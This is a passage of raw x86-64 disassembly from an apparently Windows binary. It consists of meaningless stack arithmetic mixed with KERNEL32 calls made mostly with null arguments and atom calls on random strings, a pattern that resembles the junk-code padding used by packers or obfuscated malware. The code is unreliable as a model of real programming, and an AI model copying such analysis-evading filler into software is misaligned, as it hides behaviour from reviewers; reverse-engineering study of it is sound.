movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c70f8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0xd488]
mov rcx, qword [rsp + 0xc4b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc6b8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6500], eax
mov rax, qword [rsp + 0xcbb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf30], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc348], rax
movzx eax, byte [rsp + 0x374]
mov byte [rsp + 0x3c7], al
mov rax, qword [rsp + 0xcb48]
mov eax, dword [rax]
mov ecx, dword [0x1401c8a20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6524], eax
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6058]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e38], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0xd590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcba0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0xcb20]
mov rcx, qword [rsp + 0xc378]
mov qword [rsp + 0xd5e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd5e8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xce58]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2060]
mov word [rsp + 0x2374], ax
movzx eax, word [rsp + 0x209c]
mov word [0x1401c8cb0], ax
mov rax, qword [0x1401c8aa8]
mov rax, qword [rax]
imul rax, qword [rsp + 0xd0d0]
mov qword [rsp + 0xa778], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd5f0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6510], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6258], eax
mov rax, qword [rsp + 0xa2f0]
mov qword [rsp + 0xd5f8], rax
mov r9d, 0x1cf8
xor r8d, r8d
lea rdx, [rsp + 0xc370]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6750], eax
mov rax, qword [rsp + 0xcd98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2150], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6590], eax
lea rax, [0x1401c8b0c]
mov qword [rsp + 0xd600], rax
mov rax, qword [rsp + 0xcc98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37f]
sub eax, ecx
mov rcx, qword [rsp + 0xc9d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xcc68]
mov ecx, dword [rsp + 0x64c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57c8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc5b0], rax
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa548], rax
movzx ecx, word [rsp + 0x20f8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f18], ax
mov rax, qword [rsp + 0xce10]
mov rcx, qword [rsp + 0xc3a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcb18], rax
movsx eax, word [rsp + 0x2340]
mov rcx, qword [rsp + 0xca28]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401c8a38]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd290]
movzx eax, word [rax]
mov word [rsp + 0x2378], ax
mov rax, qword [rsp + 0xd148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x396], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xcdb8]
mov rcx, qword [rsp + 0xc728]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x65b4], eax
mov rcx, qword [rsp + 0xc768]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62a8], eax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xcf58]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb9c8], rax
mov eax, dword [rsp + 0x62a4]
imul eax, dword [rsp + 0x65d0]
mov dword [rsp + 0x61e0], eax
lea rdx, [rsp + 0x261e8]
mov rcx, qword [rsp + 0xc880]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6754], eax
lea rax, [rsp + 0x3b4]
mov qword [rsp + 0xd608], rax
mov rax, qword [rsp + 0xd418]
mov rcx, qword [rsp + 0xcea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcb70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rcx, [rsp + 0x1d4d0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6548], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movsx eax, word [rsp + 0x2014]
movsx ecx, word [rsp + 0x2180]
sub eax, ecx
mov word [rsp + 0x1608], ax
movzx eax, word [rsp + 0x2188]
movzx ecx, word [rsp + 0x2304]
or eax, ecx
mov word [0x1401c7148], ax
lea rax, [rsp + 0xd110]
mov qword [rsp + 0xd610], rax
movzx eax, word [0x1401c8b0c]
movzx ecx, word [rsp + 0x2278]
sar eax, cl
mov word [rsp + 0x924], ax
movzx eax, word [rsp + 0x2024]
mov word [rsp + 0x237c], ax
mov rcx, qword [rsp + 0xd1e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6758], eax
lea rdx, [rsp + 0x26140]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6624], eax
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9ae8]
shl rax, cl
mov qword [rsp + 0xd4e8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6360], eax
lea rax, [rsp + 0xd180]
mov qword [rsp + 0xd618], rax
lea rcx, [rsp + 0x1d728]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xc8c0]
mov ecx, dword [rsp + 0x65e0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xce20]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3c6]
add eax, ecx
mov byte [rsp + 0x3ba], al
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
mov word [rsp + 0x2380], ax
mov rax, qword [rsp + 0xd268]
mov rcx, qword [rsp + 0xc500]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c8ae8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2f8], rax
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b0], al
mov rax, qword [rsp + 0xc6a8]
mov ecx, dword [rsp + 0x5d78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5dec], eax
mov rax, qword [rsp + 0xce88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd068]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x20ec], ax
mov rax, qword [0x1401c8ad0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f14]
or eax, ecx
mov word [rsp + 0x209c], ax
movzx eax, byte [rsp + 0x39c]
mov byte [rsp + 0x3c8], al
lea rcx, str.5a.RwRhS_9xxie
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x20f4], ax
mov rcx, qword [rsp + 0xcab8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, 0xe50
mov rcx, qword [rsp + 0xc398]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x675c], eax
mov eax, dword [rsp + 0x670c]
mov ecx, dword [rsp + 0x6544]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6058], eax
mov rax, qword [rsp + 0xd080]
mov rcx, qword [section..data]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb490], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65c8], eax
movsx eax, word [rsp + 0x2238]
movsx ecx, word [rsp + 0x1dd4]
shl eax, cl
mov word [rsp + 0x2318], ax
mov r9d, 2
lea r8, [rsp + 0xcc78]
mov rdx, qword [rsp + 0xc578]
mov rcx, qword [rsp + 0xca70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6580], eax
movzx eax, word [rsp + 0x20fc]
movzx ecx, word [rsp + 0xf30]
sub eax, ecx
mov word [0x1401c8b48], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc990]
mov rcx, qword [rsp + 0xd488]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc878]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc680]
mov rax, qword [rax]
mov qword [rsp + 0xd620], rax
mov rax, qword [rsp + 0xd288]
mov rcx, qword [rsp + 0xcc88]
mov qword [rsp + 0xd628], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd628]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xbc18], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rax, [rsp + 0xf44]
mov qword [rsp + 0xd630], rax
mov rax, qword [rsp + 0xcdd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb00]
mov qword [rsp + 0xd638], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd638]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc950], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6478], eax
movsx eax, byte [rsp + 0x37d]
movsx ecx, byte [rsp + 0x376]
or eax, ecx
mov byte [rsp + 0x385], al
mov eax, dword [rsp + 0x663c]
imul eax, dword [rsp + 0x64d4]
mov dword [rsp + 0x5ad8], eax
movzx eax, byte [rsp + 0x398]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xc4b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc6a8]
mov eax, dword [rax]
mov dword [rsp + 0x6760], eax
lea rax, [rsp + 0x233c]
mov qword [0x1401c8cb8], rax
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x190c]
sub eax, ecx
mov word [rsp + 0x1ef8], ax
mov rax, qword [0x1401c8b90]
movzx eax, word [rax]
mov word [rsp + 0x2384], ax
mov rax, qword [rsp + 0xd370]
mov rcx, qword [rsp + 0xb180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7b0], rax
mov rax, qword [rsp + 0xcce8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37a]
add eax, ecx
mov rcx, qword [rsp + 0xc668]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1f2c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2388], ax
lea rax, [rsp + 0x66d4]
mov qword [rsp + 0xd640], rax
mov rax, qword [rsp + 0xd228]
mov rcx, qword [rsp + 0xbfd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc3f0], rax
movsx eax, word [rsp + 0x14bc]
movsx ecx, word [rsp + 0x1b04]
add eax, ecx
mov word [rsp + 0x120c], ax
mov r9d, 0x234
xor r8d, r8d
lea rdx, [rsp + 0xc038]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6590], eax
movzx eax, word [rsp + 0x2158]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2378], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9620]
mov rcx, qword [rsp + 0xd3d0]
and rcx, rax
mov rax, rcx
mov qword [0x1401c8b58], rax
movzx eax, word [rsp + 0x22ac]
mov rcx, qword [rsp + 0xd4b8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x202c], ax
lea rax, [rsp + 0xaf20]
mov qword [rsp + 0xd648], rax
mov rax, qword [rsp + 0xc908]
movzx ecx, al
mov rax, qword [rsp + 0x9eb0]
shl rax, cl
mov qword [rsp + 0xd450], rax
movzx ecx, word [rsp + 0x1f5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x238c], ax
mov r9d, 2
lea r8, [rsp + 0xc740]
mov rdx, qword [rsp + 0xc5d0]
mov rcx, qword [rsp + 0xc538]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x651c], eax
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov dword [rsp + 0x6764], eax
mov rax, qword [rsp + 0xc550]
movzx ecx, al
mov rax, qword [rsp + 0xca08]
shr rax, cl
mov qword [rsp + 0xd228], rax
movzx eax, byte [rsp + 0x3c1]
movzx ecx, byte [rsp + 0x384]
imul eax, ecx
mov byte [rsp + 0xcb], al
lea rax, [0x1401c8a1c]
mov qword [rsp + 0xd650], rax
movsx eax, byte [rsp + 0x205]
mov rcx, qword [rsp + 0xd608]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39f], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6528], eax
movzx eax, word [rsp + 0x2138]
mov word [0x1401c8cc0], ax
mov rax, qword [rsp + 0xd068]
movsx eax, word [rax]
movsx ecx, word [0x1401c7050]
or eax, ecx
mov word [rsp + 0xa3c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd658], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
movzx eax, word [rsp + 0x11f8]
mov rcx, qword [rsp + 0xd290]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x9c0], ax
mov rax, qword [rsp + 0xd3b8]
movzx eax, word [rax]
mov word [rsp + 0x2390], ax
movsx eax, byte [0x1401c8a17]
movsx ecx, byte [rsp + 0x3ac]
sar eax, cl
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0xbfd8]
imul rax, qword [rsp + 0xd298]
mov qword [rsp + 0xa148], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x66cc], eax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.A0DbReaHEh_XfmrG3f.2fk28Jm
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2394], ax
lea rax, [rsp + 0x659c]
mov qword [rsp + 0xd660], rax
lea rcx, [rsp + 0x1ffd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [0x1401c8ae0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x235c]
sub eax, ecx
mov word [rsp + 0x22a8], ax
mov rax, qword [rsp + 0xd600]
movzx eax, word [rax]
mov word [rsp + 0x2398], ax
mov rax, qword [rsp + 0xce10]
mov rcx, qword [rsp + 0xcf68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c8b38], rax
lea rcx, [rsp + 0x1fe28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xcc08]
mov rcx, qword [str.ttvW6E]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc868], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0xd648]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb910]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb68], rax
mov rax, qword [rsp + 0xd2b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa850], rax
movzx eax, word [rsp + 0x2330]
movzx ecx, word [rsp + 0x1fd0]
shl eax, cl
mov word [rsp + 0x208c], ax
movzx ecx, word [rsp + 0x2154]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20e0], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x646c], eax
movzx eax, byte [rsp + 0x1c6]
mov byte [rsp + 0x3c9], al
mov rax, qword [rsp + 0xc848]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcc60]
mov qword [rsp + 0xd668], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd668]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x64f8], eax
movsx eax, byte [rsp + 0x21f]
movsx ecx, byte [rsp + 0x392]
or eax, ecx
mov byte [rsp + 0x23a], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd670], rax
mov eax, dword [0x1401c8ab0]
mov ecx, dword [rsp + 0x64c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x55d8], eax
mov rax, qword [rsp + 0xce58]
mov rax, qword [rax]
mov qword [0x1401c8cc8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
movsx eax, word [rsp + 0xbe4]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd060]
mov word [rcx], ax
lea rax, [rsp + 0x2354]
mov qword [rsp + 0xd678], rax
movzx eax, word [rsp + 0x1fa0]
movzx ecx, word [rsp + 0x2018]
sub eax, ecx
mov word [rsp + 0x114c], ax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xd2e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbd08], rax
mov rax, qword [rsp + 0xd458]
mov eax, dword [rax]
mov dword [rsp + 0x6768], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov r9d, 1
lea r8, [rsp + 0xc320]
mov rdx, qword [rsp + 0xd330]
mov rcx, qword [rsp + 0xcb08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x676c], eax
mov rax, qword [rsp + 0xc590]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xca08]
shl rax, cl
mov qword [rsp + 0xc9c8], rax
mov rax, qword [rsp + 0xc720]
movzx eax, byte [rax]
mov byte [rsp + 0x3ca], al
movsx eax, word [rsp + 0x1f68]
mov rcx, qword [rsp + 0xca28]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc6b0]
mov word [rcx], ax
movzx eax, word [rsp + 0x2304]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c714c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0xcc88]
mov rcx, qword [rsp + 0xab00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa800], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd580]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xcbb0]
mov word [rcx], ax
lea rcx, str.K801IGVx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2268], ax
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37b]
and eax, ecx
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
mov eax, dword [rsp + 0x5728]
mov dword [rsp + 0x6770], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6574], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb3e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2c0], rax
lea rax, [rsp + 0x6514]
mov qword [rsp + 0xd680], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd688], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movsx eax, byte [rsp + 0x2c5]
movsx ecx, byte [rsp + 0x38c]
shl eax, cl
mov byte [rsp + 0x2a2], al
movsx eax, word [rsp + 0x137c]
mov rcx, qword [rsp + 0xd060]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1b38], ax
mov rcx, qword [rsp + 0xc458]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x216c]
mov rcx, qword [rsp + 0xca48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c8c64], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea rax, [rsp + 0x9790]
mov qword [rsp + 0xd690], rax
mov rax, qword [rsp + 0xca00]
mov rcx, qword [rsp + 0xd3a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9bd8], rax
movsx eax, word [rsp + 0x2258]
movsx ecx, word [rsp + 0x22ec]
add eax, ecx
mov word [rsp + 0x850], ax
lea rcx, [rsp + 0x1fe58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc980]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x217c]
sub eax, ecx
mov word [rsp + 0x22c8], ax
mov rax, qword [rsp + 0xcb70]
movzx ecx, al
mov rax, qword [rsp + 0xc008]
shl rax, cl
mov qword [rsp + 0xcf78], rax
movzx eax, byte [rsp + 0x36a]
mov byte [rsp + 0x3cb], al
mov eax, dword [rsp + 0x663c]
mov ecx, dword [0x1401c8c60]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6490], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd698], rax
mov rax, qword [rsp + 0xce10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd3f0]
mov qword [rsp + 0xd6a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb330], rax
mov rcx, qword [rsp + 0xceb8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x1fe8]
mov word [0x1401c8cd0], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65a8], eax
movzx eax, word [rsp + 0xf00]
mov rcx, qword [rsp + 0xcaf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbb0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rcx, str.To4A8_Kksx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x239c], ax
movzx eax, byte [rsp + 0x3a1]
mov rcx, qword [rsp + 0xd500]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x30b], al
lea rax, [rsp + 0x606c]
mov qword [rsp + 0xd6a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rcx, qword [rsp + 0xc978]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xd1d8]
mov rcx, qword [rsp + 0xca00]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcae0], rax
mov rax, qword [rsp + 0xcf50]
mov rax, qword [rax]
mov qword [rsp + 0xd6b0], rax
mov rax, qword [rsp + 0xce20]
mov ecx, dword [rsp + 0x5eb0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5f24], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movzx ecx, word [rsp + 0x1f6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23a0], ax
movzx eax, byte [rsp + 0x37e]
mov byte [rsp + 0x3cc], al
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfd0]
sub eax, ecx
mov word [rsp + 0x21ac], ax
movzx eax, word [rsp + 0x938]
mov rcx, qword [0x1401c8ad8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401c8c30], ax
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaef0]
shl rax, cl
mov qword [rsp + 0xccd8], rax
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x978], ax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc9f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x137c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc0a0], rax
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov qword [rsp + 0xd6b8], rax
movzx ecx, word [rsp + 0x211c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2394], ax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcfa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6380], eax
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd428], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6774], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx ecx, word [rsp + 0x1f08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x203c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc0b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movsx eax, byte [rsp + 0x32e]
mov rcx, qword [rsp + 0xd090]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x146], al
movzx eax, word [rsp + 0x2234]
mov rcx, qword [rsp + 0xc838]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1fa0], ax
mov rax, qword [rsp + 0xa198]
mov rcx, qword [rsp + 0xd488]
mov qword [rsp + 0xd6c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6c0]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1401c7058], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6574], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
